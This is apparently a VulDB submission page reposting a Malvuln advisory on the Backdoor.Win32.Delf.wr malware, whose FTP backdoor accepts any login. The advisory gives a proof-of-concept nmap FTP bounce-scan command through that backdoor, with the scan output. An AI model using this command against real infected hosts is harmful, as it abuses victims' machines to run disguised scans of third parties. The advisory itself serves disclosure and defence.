提出 #19699: Backdoor.Win32.Delf.wr / Port Bounce Scan

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.wr
Vulnerability: Port Bounce Scan
Description: The CrazyInvadres Group⌐ bY SMURF_NS malware runs an FTP server on TCP port 64554 and accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: fc74e80ff2f49380972904d77df1c0f1
Vuln ID: MVID-2021-0327
Disclosure: 08/30/2021

Exploit/PoC:
nmap -n -Pn -b mal:[email protected]:64554 -p21,22,80 192.168.18.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-28 22:30 Pacific Daylight Time
Nmap scan report for 192.168.18.237
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

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• ソース: ⚠️ https://www.malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1_B.txt
• ユーザー: malvuln (UID 14984)
• 送信: 2021年09月01日 22:13 (5 年 ago)
• モデレーション: 2021年09月02日 07:02 (9 hours later)
• ステータス: 承諾済み
• VulDBエントリ: 181809 [Backdoor.Win32.Delf.wr FTP Server 特権昇格]
• ポイント: 20